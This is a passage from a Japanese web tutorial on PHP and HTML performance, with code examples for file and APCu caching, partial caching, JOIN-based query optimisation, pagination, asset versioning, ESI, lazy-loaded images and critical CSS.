\u30ad\u30e3\u30c3\u30b7\u30e5\u304c\u6709\u52b9\u306a\u3089\u305d\u308c\u3092\u8fd4\u3059\n        return unserialize(file_get_contents($cacheFile));\n    }\n    \n    \/\/ \u30ad\u30e3\u30c3\u30b7\u30e5\u304c\u306a\u3044\u3001\u307e\u305f\u306f\u671f\u9650\u5207\u308c\u306e\u5834\u5408\u306f\u30b3\u30f3\u30c6\u30f3\u30c4\u3092\u751f\u6210\n    $data = $regenerateCallback();\n    \n    \/\/ \u30ad\u30e3\u30c3\u30b7\u30e5\u306b\u4fdd\u5b58\n    file_put_contents($cacheFile, serialize($data));\n    \n    return $data;\n}\n\n\/\/ \u4f7f\u7528\u4f8b\uff1a\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u306e\u7d50\u679c\u3092\u30ad\u30e3\u30c3\u30b7\u30e5\n$products = getOrSetFileCache('product_list', 3600, function() use ($pdo) {\n    \/\/ \u3053\u306e\u30b3\u30fc\u30eb\u30d0\u30c3\u30af\u306f\u3001\u30ad\u30e3\u30c3\u30b7\u30e5\u304c\u306a\u3044\u5834\u5408\u306e\u307f\u5b9f\u884c\u3055\u308c\u308b\n    $stmt = $pdo-&gt;query('SELECT * FROM products WHERE active = 1');\n    return $stmt-&gt;fetchAll(PDO::FETCH_ASSOC);\n});\n\n\/\/ \u30ad\u30e3\u30c3\u30b7\u30e5\u3055\u308c\u305f\u30c7\u30fc\u30bf\u3092HTML\u3068\u3057\u3066\u8868\u793a\nforeach ($products as $product) {\n    echo \"&lt;div class='product'&gt;\";\n    echo \"&lt;h3&gt;\" . htmlspecialchars($product['name']) . \"&lt;\/h3&gt;\";\n    echo \"&lt;p&gt;\" . htmlspecialchars($product['description']) . \"&lt;\/p&gt;\";\n    echo \"&lt;\/div&gt;\";\n}\n?&gt;\n<\/pre>\n\n\n\n<p><strong>\u30e1\u30e2\u30ea\u30d9\u30fc\u30b9\u306e\u30ad\u30e3\u30c3\u30b7\u30e5\uff08APCu\u3001Memcached\u3001Redis\uff09<\/strong>:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">&lt;?php\n\/\/ APCu\u3092\u4f7f\u7528\u3057\u305f\u4f8b\nfunction getOrSetCache($key, $ttl, $regenerateCallback) {\n    \/\/ \u30ad\u30e3\u30c3\u30b7\u30e5\u3092\u30c1\u30a7\u30c3\u30af\n    if (apcu_exists($key)) {\n        return apcu_fetch($key);\n    }\n    \n    \/\/ \u30ad\u30e3\u30c3\u30b7\u30e5\u304c\u306a\u3044\u5834\u5408\u306f\u751f\u6210\n    $data = $regenerateCallback();\n    \n    \/\/ \u30ad\u30e3\u30c3\u30b7\u30e5\u306b\u4fdd\u5b58\n    apcu_store($key, $data, $ttl);\n    \n    return $data;\n}\n\n\/\/ \u4f7f\u7528\u4f8b\uff1a\u91cd\u3044\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u51e6\u7406\u3092\u30ad\u30e3\u30c3\u30b7\u30e5\n$htmlContent = getOrSetCache('home_page_content', 300, function() {\n    ob_start();\n    include 'templates\/home.php';\n    return ob_get_clean();\n});\n\necho $htmlContent;\n?&gt;\n<\/pre>\n\n\n\n<p><strong>\u90e8\u5206\u30ad\u30e3\u30c3\u30b7\u30e5<\/strong>:<\/p>\n\n\n\n<p>\u7279\u306b\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u30a8\u30f3\u30b8\u30f3\u3068\u7d44\u307f\u5408\u308f\u305b\u308b\u3068\u3001\u30da\u30fc\u30b8\u306e\u4e00\u90e8\u3060\u3051\u3092\u30ad\u30e3\u30c3\u30b7\u30e5\u3059\u308b\u90e8\u5206\u30ad\u30e3\u30c3\u30b7\u30e5\u304c\u52b9\u679c\u7684\u3067\u3059\u3002<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">&lt;?php\nfunction renderCachedPartial($partialName, $ttl, $data = []) {\n    $cacheKey = 'partial_' . $partialName . '_' . md5(serialize($data));\n    \n    return getOrSetCache($cacheKey, $ttl, function() use ($partialName, $data) {\n        ob_start();\n        extract($data);\n        include \"partials\/{$partialName}.php\";\n        return ob_get_clean();\n    });\n}\n\n\/\/ \u30d8\u30c3\u30c0\u30fc\u306f1\u6642\u9593\u30ad\u30e3\u30c3\u30b7\u30e5\necho renderCachedPartial('header', 3600, ['title' =&gt; '\u30db\u30fc\u30e0\u30da\u30fc\u30b8']);\n\n\/\/ \u30e1\u30a4\u30f3\u30b3\u30f3\u30c6\u30f3\u30c4\u306f\u52d5\u7684\u306b\u751f\u6210\ninclude 'content\/home.php';\n\n\/\/ \u30d5\u30c3\u30bf\u30fc\u306f1\u65e5\u30ad\u30e3\u30c3\u30b7\u30e5\necho renderCachedPartial('footer', 86400);\n?&gt;\n<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"i-60\">\u30b3\u30fc\u30c9\u306e\u6700\u9069\u5316\u30c6\u30af\u30cb\u30c3\u30af<\/h3>\n\n\n\n<p>PHP\/HTML\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306e\u30d1\u30d5\u30a9\u30fc\u30de\u30f3\u30b9\u3092\u5411\u4e0a\u3055\u305b\u308b\u306b\u306f\u3001\u30b3\u30fc\u30c9\u30ec\u30d9\u30eb\u3067\u306e\u6700\u9069\u5316\u3082\u91cd\u8981\u3067\u3059\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-61\">\u4e0d\u8981\u306aHTML\u306e\u52d5\u7684\u751f\u6210\u3092\u907f\u3051\u308b\u65b9\u6cd5<\/h4>\n\n\n\n<p>PHP\u3067\u5168\u3066\u306eHTML\u3092\u751f\u6210\u3059\u308b\u306e\u3067\u306f\u306a\u304f\u3001\u9759\u7684\u306a\u90e8\u5206\u306fHTML\u306e\u307e\u307e\u306b\u3057\u3001\u52d5\u7684\u306a\u90e8\u5206\u3060\u3051\u3092PHP\u3067\u751f\u6210\u3059\u308b\u3053\u3068\u3067\u30d1\u30d5\u30a9\u30fc\u30de\u30f3\u30b9\u304c\u5411\u4e0a\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<p><strong>\u30a2\u30f3\u30c1\u30d1\u30bf\u30fc\u30f3<\/strong>:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">&lt;?php\necho \"&lt;!DOCTYPE html&gt;\";\necho \"&lt;html&gt;\";\necho \"&lt;head&gt;\";\necho \"&lt;title&gt;\u30b5\u30a4\u30c8\u30bf\u30a4\u30c8\u30eb&lt;\/title&gt;\";\necho \"&lt;meta charset='UTF-8'&gt;\";\necho \"&lt;link rel='stylesheet' href='style.css'&gt;\";\necho \"&lt;\/head&gt;\";\necho \"&lt;body&gt;\";\necho \"&lt;header&gt;\";\necho \"&lt;h1&gt;\u30a6\u30a7\u30d6\u30b5\u30a4\u30c8&lt;\/h1&gt;\";\necho \"&lt;nav&gt;&lt;!-- \u30ca\u30d3\u30b2\u30fc\u30b7\u30e7\u30f3 --&gt;&lt;\/nav&gt;\";\necho \"&lt;\/header&gt;\";\necho \"&lt;main&gt;\";\n\/\/ \u52d5\u7684\u30b3\u30f3\u30c6\u30f3\u30c4\necho \"&lt;\/main&gt;\";\necho \"&lt;footer&gt;\u00a9 \" . date('Y') . \" \u30a6\u30a7\u30d6\u30b5\u30a4\u30c8&lt;\/footer&gt;\";\necho \"&lt;\/body&gt;\";\necho \"&lt;\/html&gt;\";\n?&gt;\n<\/pre>\n\n\n\n<p><strong>\u6700\u9069\u5316\u3055\u308c\u305f\u30b3\u30fc\u30c9<\/strong>:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">&lt;!DOCTYPE html&gt;\n&lt;html&gt;\n&lt;head&gt;\n    &lt;title&gt;\u30b5\u30a4\u30c8\u30bf\u30a4\u30c8\u30eb&lt;\/title&gt;\n    &lt;meta charset=\"UTF-8\"&gt;\n    &lt;link rel=\"stylesheet\" href=\"style.css\"&gt;\n&lt;\/head&gt;\n&lt;body&gt;\n    &lt;header&gt;\n        &lt;h1&gt;\u30a6\u30a7\u30d6\u30b5\u30a4\u30c8&lt;\/h1&gt;\n        &lt;nav&gt;&lt;!-- \u30ca\u30d3\u30b2\u30fc\u30b7\u30e7\u30f3 --&gt;&lt;\/nav&gt;\n    &lt;\/header&gt;\n    &lt;main&gt;\n        &lt;?php\n        \/\/ \u3053\u3053\u3067\u52d5\u7684\u30b3\u30f3\u30c6\u30f3\u30c4\u3060\u3051\u3092\u751f\u6210\n        $products = getProducts();\n        foreach ($products as $product) {\n            echo \"&lt;div class='product'&gt;\";\n            echo \"&lt;h2&gt;\" . htmlspecialchars($product['name']) . \"&lt;\/h2&gt;\";\n            echo \"&lt;p&gt;\" . htmlspecialchars($product['description']) . \"&lt;\/p&gt;\";\n            echo \"&lt;\/div&gt;\";\n        }\n        ?&gt;\n    &lt;\/main&gt;\n    &lt;footer&gt;\u00a9 &lt;?php echo date('Y'); ?&gt; \u30a6\u30a7\u30d6\u30b5\u30a4\u30c8&lt;\/footer&gt;\n&lt;\/body&gt;\n&lt;\/html&gt;\n<\/pre>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-62\">\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u30af\u30a8\u30ea\u306e\u6700\u9069\u5316<\/h4>\n\n\n\n<p>DB\u304b\u3089HTML\u3092\u751f\u6210\u3059\u308b\u969b\u306e\u30af\u30a8\u30ea\u6700\u9069\u5316\u3082\u91cd\u8981\u3067\u3059\uff1a<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">&lt;?php\n\/\/ \u30a2\u30f3\u30c1\u30d1\u30bf\u30fc\u30f3\uff1a\u591a\u6570\u306e\u30af\u30a8\u30ea\u3092\u5b9f\u884c\nfunction renderProductList($categoryId) {\n    global $pdo;\n    \n    $stmt = $pdo-&gt;prepare('SELECT id, name FROM products WHERE category_id = ?');\n    $stmt-&gt;execute([$categoryId]);\n    $products = $stmt-&gt;fetchAll();\n    \n    $html = '&lt;ul class=\"product-list\"&gt;';\n    \n    foreach ($products as $product) {\n        \/\/ \u5404\u5546\u54c1\u3054\u3068\u306b\u8ffd\u52a0\u30af\u30a8\u30ea\u3092\u5b9f\u884c\n        $detailStmt = $pdo-&gt;prepare('SELECT price, stock FROM product_details WHERE product_id = ?');\n        $detailStmt-&gt;execute([$product['id']]);\n        $details = $detailStmt-&gt;fetch();\n        \n        $html .= '&lt;li&gt;';\n        $html .= '&lt;h3&gt;' . htmlspecialchars($product['name']) . '&lt;\/h3&gt;';\n        $html .= '&lt;p&gt;\u4fa1\u683c: \u00a5' . number_format($details['price']) . '&lt;\/p&gt;';\n        $html .= '&lt;p&gt;\u5728\u5eab: ' . $details['stock'] . '\u500b&lt;\/p&gt;';\n        $html .= '&lt;\/li&gt;';\n    }\n    \n    $html .= '&lt;\/ul&gt;';\n    return $html;\n}\n\n\/\/ \u6700\u9069\u5316: JOIN\u3092\u4f7f\u3063\u30661\u30af\u30a8\u30ea\u3067\u53d6\u5f97\nfunction renderProductListOptimized($categoryId) {\n    global $pdo;\n    \n    $stmt = $pdo-&gt;prepare('\n        SELECT p.id, p.name, pd.price, pd.stock \n        FROM products p\n        JOIN product_details pd ON p.id = pd.product_id\n        WHERE p.category_id = ?\n    ');\n    $stmt-&gt;execute([$categoryId]);\n    \n    $html = '&lt;ul class=\"product-list\"&gt;';\n    \n    while ($product = $stmt-&gt;fetch()) {\n        $html .= '&lt;li&gt;';\n        $html .= '&lt;h3&gt;' . htmlspecialchars($product['name']) . '&lt;\/h3&gt;';\n        $html .= '&lt;p&gt;\u4fa1\u683c: \u00a5' . number_format($product['price']) . '&lt;\/p&gt;';\n        $html .= '&lt;p&gt;\u5728\u5eab: ' . $product['stock'] . '\u500b&lt;\/p&gt;';\n        $html .= '&lt;\/li&gt;';\n    }\n    \n    $html .= '&lt;\/ul&gt;';\n    return $html;\n}\n?&gt;\n<\/pre>\n\n\n\n<p>\u5927\u91cf\u306e\u30c7\u30fc\u30bf\u3092HTML\u8868\u793a\u3059\u308b\u969b\u306f\u3001\u30da\u30fc\u30b8\u30cd\u30fc\u30b7\u30e7\u30f3\u3082\u91cd\u8981\u3067\u3059\uff1a<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">&lt;?php\nfunction renderPaginatedProducts($page = 1, $perPage = 20) {\n    global $pdo;\n    \n    \/\/ \u7dcf\u5546\u54c1\u6570\u3092\u53d6\u5f97\n    $countStmt = $pdo-&gt;query('SELECT COUNT(*) FROM products WHERE active = 1');\n    $totalProducts = $countStmt-&gt;fetchColumn();\n    $totalPages = ceil($totalProducts \/ $perPage);\n    \n    \/\/ \u73fe\u5728\u306e\u30da\u30fc\u30b8\u304c\u6709\u52b9\u7bc4\u56f2\u5185\u304b\u30c1\u30a7\u30c3\u30af\n    $page = max(1, min($page, $totalPages));\n    \n    \/\/ \u30aa\u30d5\u30bb\u30c3\u30c8\u306e\u8a08\u7b97\n    $offset = ($page - 1) * $perPage;\n    \n    \/\/ \u5546\u54c1\u30c7\u30fc\u30bf\u3092\u53d6\u5f97\n    $stmt = $pdo-&gt;prepare('\n        SELECT id, name, price, image_url \n        FROM products \n        WHERE active = 1 \n        ORDER BY name \n        LIMIT ? OFFSET ?\n    ');\n    $stmt-&gt;execute([$perPage, $offset]);\n    $products = $stmt-&gt;fetchAll();\n    \n    \/\/ \u5546\u54c1\u8868\u793aHTML\n    $html = '&lt;div class=\"product-grid\"&gt;';\n    \n    foreach ($products as $product) {\n        $html .= '&lt;div class=\"product-card\"&gt;';\n        $html .= '&lt;img src=\"' . htmlspecialchars($product['image_url']) . '\" alt=\"' . htmlspecialchars($product['name']) . '\"&gt;';\n        $html .= '&lt;h3&gt;' . htmlspecialchars($product['name']) . '&lt;\/h3&gt;';\n        $html .= '&lt;p class=\"price\"&gt;\u00a5' . number_format($product['price']) . '&lt;\/p&gt;';\n        $html .= '&lt;a href=\"product.php?id=' . $product['id'] . '\" class=\"btn\"&gt;\u8a73\u7d30\u3092\u898b\u308b&lt;\/a&gt;';\n        $html .= '&lt;\/div&gt;';\n    }\n    \n    $html .= '&lt;\/div&gt;';\n    \n    \/\/ \u30da\u30fc\u30b8\u30cd\u30fc\u30b7\u30e7\u30f3HTML\n    if ($totalPages &gt; 1) {\n        $html .= '&lt;div class=\"pagination\"&gt;';\n        \n        \/\/ \u524d\u306e\u30da\u30fc\u30b8\u3078\u306e\u30ea\u30f3\u30af\n        if ($page &gt; 1) {\n            $html .= '&lt;a href=\"?page=' . ($page - 1) . '\" class=\"prev\"&gt;&amp;laquo; \u524d\u3078&lt;\/a&gt;';\n        }\n        \n        \/\/ \u30da\u30fc\u30b8\u756a\u53f7\n        for ($i = max(1, $page - 2); $i &lt;= min($totalPages, $page + 2); $i++) {\n            if ($i == $page) {\n                $html .= '&lt;span class=\"current\"&gt;' . $i . '&lt;\/span&gt;';\n            } else {\n                $html .= '&lt;a href=\"?page=' . $i . '\"&gt;' . $i . '&lt;\/a&gt;';\n            }\n        }\n        \n        \/\/ \u6b21\u306e\u30da\u30fc\u30b8\u3078\u306e\u30ea\u30f3\u30af\n        if ($page &lt; $totalPages) {\n            $html .= '&lt;a href=\"?page=' . ($page + 1) . '\" class=\"next\"&gt;\u6b21\u3078 &amp;raquo;&lt;\/a&gt;';\n        }\n        \n        $html .= '&lt;\/div&gt;';\n    }\n    \n    return $html;\n}\n\n\/\/ \u4f7f\u7528\u4f8b\n$currentPage = isset($_GET['page']) ? (int)$_GET['page'] : 1;\necho renderPaginatedProducts($currentPage);\n?&gt;\n<\/pre>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-63\">\u9759\u7684\u30b3\u30f3\u30c6\u30f3\u30c4\u3068\u52d5\u7684\u30b3\u30f3\u30c6\u30f3\u30c4\u306e\u5206\u96e2<\/h4>\n\n\n\n<p>\u30d1\u30d5\u30a9\u30fc\u30de\u30f3\u30b9\u3092\u6700\u5927\u5316\u3059\u308b\u306b\u306f\u3001\u9759\u7684\u30b3\u30f3\u30c6\u30f3\u30c4\u3068\u52d5\u7684\u30b3\u30f3\u30c6\u30f3\u30c4\u3092\u9069\u5207\u306b\u5206\u96e2\u3059\u308b\u3053\u3068\u304c\u91cd\u8981\u3067\u3059\u3002<\/p>\n\n\n\n<p><strong>\u9759\u7684\u30b3\u30f3\u30c6\u30f3\u30c4\u306e\u30ad\u30e3\u30c3\u30b7\u30e5<\/strong>:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">&lt;?php\n\/\/ \u9759\u7684\u30d5\u30a1\u30a4\u30eb\u306e\u30d0\u30fc\u30b8\u30e7\u30cb\u30f3\u30b0\uff08\u30ad\u30e3\u30c3\u30b7\u30e5\u30d0\u30b9\u30c6\u30a3\u30f3\u30b0\uff09\nfunction assetUrl($path) {\n    $filePath = $_SERVER['DOCUMENT_ROOT'] . '\/' . $path;\n    $version = file_exists($filePath) ? filemtime($filePath) : time();\n    return $path . '?v=' . $version;\n}\n?&gt;\n&lt;!DOCTYPE html&gt;\n&lt;html&gt;\n&lt;head&gt;\n    &lt;title&gt;\u6700\u9069\u5316\u30b5\u30a4\u30c8&lt;\/title&gt;\n    &lt;!-- \u30d0\u30fc\u30b8\u30e7\u30cb\u30f3\u30b0\u306b\u3088\u308b\u30ad\u30e3\u30c3\u30b7\u30e5\u5236\u5fa1 --&gt;\n    &lt;link rel=\"stylesheet\" href=\"&lt;?php echo assetUrl('css\/style.css'); ?&gt;\"&gt;\n    &lt;script src=\"&lt;?php echo assetUrl('js\/main.js'); ?&gt;\" defer&gt;&lt;\/script&gt;\n&lt;\/head&gt;\n&lt;body&gt;\n    &lt;!-- \u9759\u7684\u30b3\u30f3\u30c6\u30f3\u30c4 --&gt;\n    &lt;header&gt;\n        &lt;!-- \u9759\u7684\u30d8\u30c3\u30c0\u30fc --&gt;\n    &lt;\/header&gt;\n    \n    &lt;!-- \u52d5\u7684\u30b3\u30f3\u30c6\u30f3\u30c4 --&gt;\n    &lt;main&gt;\n        &lt;?php include 'dynamic_content.php'; ?&gt;\n    &lt;\/main&gt;\n    \n    &lt;!-- \u9759\u7684\u30b3\u30f3\u30c6\u30f3\u30c4 --&gt;\n    &lt;footer&gt;\n        &lt;!-- \u9759\u7684\u30d5\u30c3\u30bf\u30fc --&gt;\n    &lt;\/footer&gt;\n&lt;\/body&gt;\n&lt;\/html&gt;\n<\/pre>\n\n\n\n<p><strong>\u9759\u7684\u90e8\u5206\u306eHTML\u30ad\u30e3\u30c3\u30b7\u30e5<\/strong>:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">&lt;?php\n\/\/ \u30da\u30fc\u30b8\u30b3\u30f3\u30c6\u30f3\u30c4\u306e\u307f\u3092\u30ad\u30e3\u30c3\u30b7\u30e5\u3057\u3001\u30ec\u30a4\u30a2\u30a6\u30c8\u306f\u6bce\u56de\u751f\u6210\n$pageContent = getOrSetCache('page_content_' . $_GET['id'], 3600, function() {\n    \/\/ \u91cd\u3044\u51e6\u7406\uff08\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u30af\u30a8\u30ea\u306a\u3069\uff09\n    return generatePageContent();\n});\n\n\/\/ \u30ec\u30a4\u30a2\u30a6\u30c8\u306f\u30ea\u30af\u30a8\u30b9\u30c8\u3054\u3068\u306b\u751f\u6210\uff08\u52d5\u7684\u306a\u8981\u7d20\u3092\u542b\u3080\uff09\ninclude 'layout\/header.php';\necho $pageContent; \/\/ \u30ad\u30e3\u30c3\u30b7\u30e5\u3055\u308c\u305f\u30b3\u30f3\u30c6\u30f3\u30c4\ninclude 'layout\/footer.php';\n?&gt;\n<\/pre>\n\n\n\n<p><strong>ESI\uff08Edge Side Includes\uff09\u306e\u6d3b\u7528<\/strong>:<\/p>\n\n\n\n<p>Varnish\u306a\u3069\u306e\u30ea\u30d0\u30fc\u30b9\u30d7\u30ed\u30ad\u30b7\u3067\u306f\u3001ESI\u3092\u4f7f\u7528\u3057\u3066\u52d5\u7684\u90e8\u5206\u3060\u3051\u3092\u9664\u5916\u3057\u305f\u30ad\u30e3\u30c3\u30b7\u30e5\u3082\u53ef\u80fd\u3067\u3059\u3002<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">&lt;!DOCTYPE html&gt;\n&lt;html&gt;\n&lt;head&gt;\n    &lt;title&gt;ESI\u5bfe\u5fdc\u30b5\u30a4\u30c8&lt;\/title&gt;\n&lt;\/head&gt;\n&lt;body&gt;\n    &lt;header&gt;\n        &lt;!-- \u9759\u7684\u30d8\u30c3\u30c0\u30fc --&gt;\n    &lt;\/header&gt;\n    \n    &lt;main&gt;\n        &lt;!-- \u9759\u7684\u30b3\u30f3\u30c6\u30f3\u30c4\uff08\u30ad\u30e3\u30c3\u30b7\u30e5\u53ef\u80fd\uff09 --&gt;\n        \n        &lt;!-- \u52d5\u7684\u90e8\u5206\u3092ESI\u3067\u6307\u5b9a --&gt;\n        &lt;!--esi:include src=\"\/fragments\/user_info.php\" --&gt;\n        \n        &lt;!-- \u518d\u3073\u9759\u7684\u30b3\u30f3\u30c6\u30f3\u30c4 --&gt;\n    &lt;\/main&gt;\n    \n    &lt;footer&gt;\n        &lt;!-- \u9759\u7684\u30d5\u30c3\u30bf\u30fc --&gt;\n    &lt;\/footer&gt;\n&lt;\/body&gt;\n&lt;\/html&gt;\n<\/pre>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-64\">\u305d\u306e\u4ed6\u306e\u30d1\u30d5\u30a9\u30fc\u30de\u30f3\u30b9\u6700\u9069\u5316\u30c6\u30af\u30cb\u30c3\u30af<\/h4>\n\n\n\n<p><strong>\u9045\u5ef6\u8aad\u307f\u8fbc\u307f<\/strong>:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">&lt;?php\n\/\/ \u9045\u5ef6\u30ed\u30fc\u30c9\u306e\u305f\u3081\u306e\u30d7\u30ec\u30fc\u30b9\u30db\u30eb\u30c0\u30fcHTML\u751f\u6210\nfunction lazyLoadImage($src, $alt, $width, $height) {\n    return '\n    &lt;img \n        src=\"data:image\/svg+xml,%3Csvg xmlns=\\'http:\/\/www.w3.org\/2000\/svg\\' viewBox=\\'0 0 ' . $width . ' ' . $height . '\\'%3E%3C\/svg%3E\" \n        data-src=\"' . htmlspecialchars($src) . '\" \n        alt=\"' . htmlspecialchars($alt) . '\" \n        width=\"' . $width . '\" \n        height=\"' . $height . '\" \n        loading=\"lazy\" \n        class=\"lazy-image\"\n    &gt;';\n}\n\n\/\/ \u753b\u50cf\u4e00\u89a7\u3092\u8868\u793a\nforeach ($products as $product) {\n    echo '&lt;div class=\"product\"&gt;';\n    echo lazyLoadImage($product['image_url'], $product['name'], 300, 200);\n    echo '&lt;h3&gt;' . htmlspecialchars($product['name']) . '&lt;\/h3&gt;';\n    echo '&lt;\/div&gt;';\n}\n?&gt;\n\n&lt;!-- \u9045\u5ef6\u8aad\u307f\u8fbc\u307f\u7528\u306eJavaScript --&gt;\n&lt;script&gt;\ndocument.addEventListener('DOMContentLoaded', function() {\n    const lazyImages = document.querySelectorAll('.lazy-image');\n    \n    if ('IntersectionObserver' in window) {\n        const imageObserver = new IntersectionObserver(function(entries, observer) {\n            entries.forEach(function(entry) {\n                if (entry.isIntersecting) {\n                    const image = entry.target;\n                    image.src = image.dataset.src;\n                    imageObserver.unobserve(image);\n                }\n            });\n        });\n        \n        lazyImages.forEach(function(image) {\n            imageObserver.observe(image);\n        });\n    } else {\n        \/\/ Intersection Observer\u975e\u5bfe\u5fdc\u30d6\u30e9\u30a6\u30b6\u7528\u306e\u30d5\u30a9\u30fc\u30eb\u30d0\u30c3\u30af\n    }\n});\n&lt;\/script&gt;\n<\/pre>\n\n\n\n<p><strong>\u30af\u30ea\u30c6\u30a3\u30ab\u30ebCSS\u306e\u62bd\u51fa<\/strong>:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">&lt;?php\n\/\/ \u30af\u30ea\u30c6\u30a3\u30ab\u30ebCSS\u3092\u30a4\u30f3\u30e9\u30a4\u30f3\u633f\u5165\n$criticalCss = file_get_contents('css\/critical.css');\n?&gt;\n&lt;!DOCTYPE html&gt;\n&lt;html&gt;\n&lt;head&gt;\n    &lt;title&gt;\u6700\u9069\u5316\u30b5\u30a4\u30c8&lt;\/title&gt;\n    &lt;style&gt;&lt;?php echo $criticalCss; ?&gt;&lt;\/style&gt;\n    &lt;link rel=\"preload\" href=\"css\/main.css\" as=\"style\" onload=\"this.onload=null;this.rel='stylesheet'\"&gt;\n    &lt;noscript&gt;&lt;link rel=\"stylesheet\" href=\"css\/main.css\"&gt;&lt;\/noscript&gt;\n&lt;\/head&gt;\n&lt;body&gt;\n    &lt;!-- \u30b5\u30a4\u30c8\u30b3\u30f3\u30c6\u30f3\u30c4 --&gt;\n&lt;\/body&gt;\n&lt;\/html&gt;\n<\/pre>\n\n\n\n<p>\u3053\u308c\u3089\u306e\u30d1\u30d5\u30a9\u30fc\u30de\u30f3\u30b9\u6700\u9069\u5316\u30c6\u30af\u30cb\u30c3\u30af\u3092\u9069\u5207\u306b\u7d44\u307f\u5408\u308f\u305b\u308b\u3053\u3068\u3067\u3001PHP\u3068HTML\u306e\u9023\u643a\u306b\u304a\u3044\u3066\u9ad8\u901f\u3067\u52b9\u7387\u7684\u306a\u30a6\u30a7\u30d6\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u3092\u69cb\u7bc9\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002\u7279\u306b\u5927\u898f\u6a21\u30b5\u30a4\u30c8\u3067\u306f\u3001\u30ad\u30e3\u30c3\u30b7\u30e5\u6226\u7565\u3068\u30b3\u30fc\u30c9\u6700\u9069\u5316\u306e\u4e21\u65b9\u304c\u91cd\u8981\u306b\u306a\u308a\u307e\u3059\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"i-65\">\u307e\u3068\u3081<\/h2>\n\n\n\n<p>PHP\u3068HTML\u306e\u9023\u643a\u306f\u3001\u52d5\u7684\u306a\u30a6\u30a7\u30d6\u30b5\u30a4\u30c8\u3084\u30a6\u30a7\u30d6\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u958b\u767a\u306e\u57fa\u76e4\u3067\u3059\u3002\u3053\u306e\u8a18\u4e8b\u3067\u306f\u3001\u521d\u5fc3\u8005\u304b\u3089\u4e0a\u7d1a\u8005\u307e\u3067\u5f79\u7acb\u306410\u306e\u5b9f\u8df5\u30c6\u30af\u30cb\u30c3\u30af\u3092\u901a\u3057\u3066\u3001\u4e21\u8005\u3092\u52b9\u679c\u7684\u306b\u9023\u643a\u3055\u305b\u308b\u65b9\u6cd5\u3092\u89e3\u8aac\u3057\u3066\u304d\u307e\u3057\u305f\u3002\u4ee5\u4e0b\u306b\u3001\u5b66\u3093\u3060\u91cd\u8981\u306a\u30dd\u30a4\u30f3\u30c8\u3092\u307e\u3068\u3081\u307e\u3059\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"i-66\">PHP\u3068HTML\u306e\u52b9\u679c\u7684\u306a\u9023\u643a\u306e\u30dd\u30a4\u30f3\u30c8<\/h3>\n\n\n\n<ol 